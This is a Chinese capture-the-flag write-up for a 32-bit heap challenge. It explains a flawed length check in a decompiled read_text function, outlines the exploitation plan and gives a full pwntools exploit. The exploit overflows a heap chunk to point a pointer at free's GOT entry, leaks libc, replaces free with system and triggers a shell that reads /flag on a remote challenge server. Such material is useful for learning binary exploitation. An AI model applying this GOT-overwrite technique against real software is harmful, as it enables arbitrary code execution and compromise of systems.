输入长度判断错误。可写溢出。
数据结构:
????????管理块0x80: char *data_ptr; name[0x7c]
?????????先写数据块再写管理块
unsigned int __cdecl read_text(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h] BYREF
int v3; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && *(&ptr + a1) )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )// 长度越界判断,可写溢出
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
get_data(*(char **)*(&ptr + a1), v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
} // 20T1,80M1,20T2,80M2
// F20,F80,20T2,80M2
// F20,80T3,20T2,80M2,80M3
// 20T4,80T3,20T2,80M2,80M3,80M4
输入长度判断,要求输入止地址小于管理块指针地址-4。当数据块和管理块间有其它块时,将可进行覆盖。
解题思路:
- ?建两个小块8字节
- 释放0块这里会得到1个8字节的fastbin,和一个0x80的unsort
- 再建0x80的块,数据块会使用刚释放的0x80的unsort,管理块在块1后新建。再建8字节块,这个块的数据块与管理块间的块1可被覆盖
- 编辑3块(上步新建的)覆盖1块的指针为got.free然后show1得到libc
- 再编辑1块(data指针指向got.free)修改free为system
- 释放带/bin/sh的块
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
offset_main_ret = 0x18647
else:
p = remote('111.200.241.244', 54260)
libc_elf = ELF('/home/shi/buuctf/libc6-i386_2.23-0ubuntu10_amd64.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')
menu = b"Action: "
def add(size, name, text):
p.sendlineafter(menu, b'0')
p.sendlineafter(b"size of description: ", str(size).encode())
p.sendlineafter(b"name: ", name)
p.sendlineafter(b"text length: ", str(len(text)).encode())
p.sendafter(b"text: ", text)
def free(idx):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"index: ", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index: ", str(idx).encode())
def edit(idx, text):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"text length: ", str(len(text)).encode())
p.sendafter(b"text: ", text)
add(8, b'0', b'A')
add(8, b'1', b'A')
free(0)
add(0x80, b'2', b'A')
add(8, b'3', b'A')
edit(3, b'/bin/sh\x00'.ljust(0xa4, b'A')+p32(0x89)+p32(elf.got['free']))
show(1)
p.recvuntil(b'tion: ')
libc_base = u32(p.recv(4)) - libc_elf.sym['free']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
edit(1, p32(libc_elf.sym['system']))
free(3)
p.sendline(b'cat /flag')
p.interactive()
|